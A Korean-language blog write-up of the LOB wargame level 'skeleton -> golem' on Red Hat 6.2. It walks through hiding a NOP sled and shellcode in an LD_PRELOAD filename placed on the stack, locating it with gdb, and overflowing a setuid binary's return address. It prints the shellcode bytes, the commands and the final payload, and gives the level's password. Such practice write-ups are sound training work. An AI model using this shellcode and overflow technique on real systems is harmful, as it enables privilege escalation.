Writeup을 쓰다보니 문제 풀이라기 보다는, 문제를 풀면서 발생하는 현상들에 대한

설명이 많아졌네요.

그런 점이 도움이 되셨으면 좋겠습니다.



<문제 소스 코드>

buffer부터 시작하여 메모리 끝 영역까지(커널 영역 제외) 모두 초기화해 버린다.

아주 무지막지하다.

저번 문제에서 활용한 메모리 마지막 영역도 사용불가능하다는 것!

하지만 아직 스택을 사용할 수 있나보다.

어떻게 풀이해야할까? 이 문제는 리눅스 라이브러리에 대한 사전지식이 필요한 문제다.


<shellcode를 삽입할 수 있는 스택 영역 찾기>

모든 OS에는 메모리의 효율적인 사용을 위해서 라이브러리를 사용한다. 메모리 구조를 공부해보면, 공유 라이브러리 영역이 따로 있다.

우리는 스택 영역을 활용할 것인데 이 설명을 왜하는 것인가?


스택 영역에도 라이브러리가 하나 있기 때문이다. 바로 환경변수 LD_PRELOAD이다.


다음 사진을 보자.



[skeleton@localhost skeleton]$ mkdir /tmp/dirgolem;cd /tmp/dirgolem

[skeleton@localhost dirgolem]$ cat > lib.c

[skeleton@localhost dirgolem]$ touch lib.c

[skeleton@localhost dirgolem]$ ls -l

total 0

-rw-rw-r--    1 skeleton skeleton        0 Nov  9 03:44 lib.c

[skeleton@localhost dirgolem]$ gcc -fPIC -shared lib.c -o lib.so

[skeleton@localhost dirgolem]$ export LD_PRELOAD="/tmp/dirgolem/lib.so" 

[skeleton@localhost dirgolem]$ ls

lib.c  lib.so


tmp 디렉토리에서 0 바이트짜리 파일을 gcc로 컴파일하여 so 파일을 만들었다.

-shared 옵션 : so 파일을 컴파일 하기 위한 옵션.

-fPIC : 쉽게 말해 so 파일의 속도 개선을 위한 옵션. 공유 라이브러리 컴파일 시 통상적으로 사용되는 옵션이다. 여기서는 큰 상관 없다.

so 파일 : shared object. 리눅스의 공유 라이브러리 파일 확장자.

export 명령어로 LD_PRELOAD 환경변수를 so 파일의 절대경로로 설정해준다음

ls 명령어로 경로가 잘 지정되었는 지 확인한다.

잘못 설정하였을 경우(경로명이 없거나 상대경로, 파일명을 잘못 기재)

모든 프로그램 실행 시 오류 메시지가 출력된다.



간단한 테스트 파일을 컴파일 한 후 ldd 명령어로 사용되는 라이브러리 파일들을 보니

LD_PRELOAD에서 설정한 lib.so가 등록된 것을 확인할 수 있다.


필자가 여지껏 LD_PRELOAD에 대해 설명한 것은 스택 상에 LD_PRELOAD의 파일명이 올라가기 때문이라고 앞에 이야기했었다.

이제 그 사실과 주소를 확인해보자!



gdb -q ./test

b main

r

x/10000s 0xbffff000

(엔터)

...


0xbfff0000이든 0xbffff000이든 찾다보면 LD_PRELOAD의 파일명이 스택 영역에 올라간 것을 확인할 수 있다.



그럼 이를 어떻게 이용할 수 있을까?

이전에도 그랬듯이, 파일명을 nop+쉘코드로 설정해주면 된다!

LD_PRELOAD에 사용되는 파일읜 내용은 무엇이 들어가든 의미가 없다.

그 이유는 setuid가 걸린 파일에서는 LD_PRELOAD가 작동하지 않기 때문이다.

그러나, 스택 내에 파일명은 올라가게된다.


자 이제 다음으로 넘어가보자.


<LD_PRELOAD 파일명에 shellcode 삽입>


unset LD_PRELOAD


mv lib.so `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


export LD_PRELOAD=/tmp/dirgolem/`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


ls #경로가 잘 입력되었는 지 확인. 정상적으로 작동하면 잘 입력된 것.


위 명령어를 통해 쉘코드를 파일명에 싣고, 다시 한번 gdb -q ./test를 통해 메모리에 잘 올라갔는 지 확인해보자.



쉘코드가 잘 올라갔다! 자 이제 저 주소로 RET 영역을 바꿔주자.


[skeleton@localhost dirgolem]$ ln -sf ~/golem test

[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·

Segmentation fault


[skeleton@localhost dirgolem]$ cp ~/golem test

[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·

Segmentation fault (core dumped)

[skeleton@localhost dirgolem]$ gdb -q -c core


심볼릭 링크를 통해 exploit을 시도했으나, seg fault가 발생했다.

무슨 문제일까?

core 파일을 확인하기 위해 바이너리 파일을 카피해와서 core 파일을 생성하여 확인해보았다.


우리가 변조한 RET 어드레스에는 쉘코드가 없는 것을 확인할 수 있었다.

맨 처음 드는 생각은 setuid가 걸린 파일이라서 그런가?이다.

하지만 그 문제가 아니다.



애초에 shellcode를 배치했던 위치보다 조금 더 낮은 주소에 위치하고 있는 것을 확인할 수 있다.

프로그램을 실행할 때마다 주소가 바뀌는 것일까?(=ASLR)

그것 또한 아니다. LOB는 Redhat 6.2 환경으로 ASLR이 적용되지 않는다.

무슨 문제일까?


이것은 바로 스택 프레임이 이 주소에 영향을 주었기 때문이다.

이전 문제에서 봤듯이, 스택 프레임의 크기 등 여러 요소에 따라 스택의 주소는 변화한다.

shellcode를 올린 영역 또한 스택 영역이기 때문에, 이에 영향을 받는 것이다.


만약 임의로 컴파일한 test 파일이 아니라 golem 파일을 복사해와서 LD_PRELOAD의 주소를 확인했다면

한 번에 exploit이 성공했을 것이다.


자 이제 정확히 알아낸 주소로 exploit을 시도해보자!


<exploit>



이 때 nop 영역 중 아무 주소로 RET 영역을 덮어써도 상관없으나

주소에 \x00이 포함될 경우, 페이로드가 끊기게 되므로 필자는 0xbffff501로 변조해주었다.


golem의 패스워드는 cup of coffee


어려운 문제였다.


나중에 더 자세한 내용으로 따로 포스팅하면 좋을듯 ..

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB darkknight -> bugbear  (0) 2015.11.15
LOB golem -> darkknight  (0) 2015.11.14
LOB vampire -> skeleton  (0) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/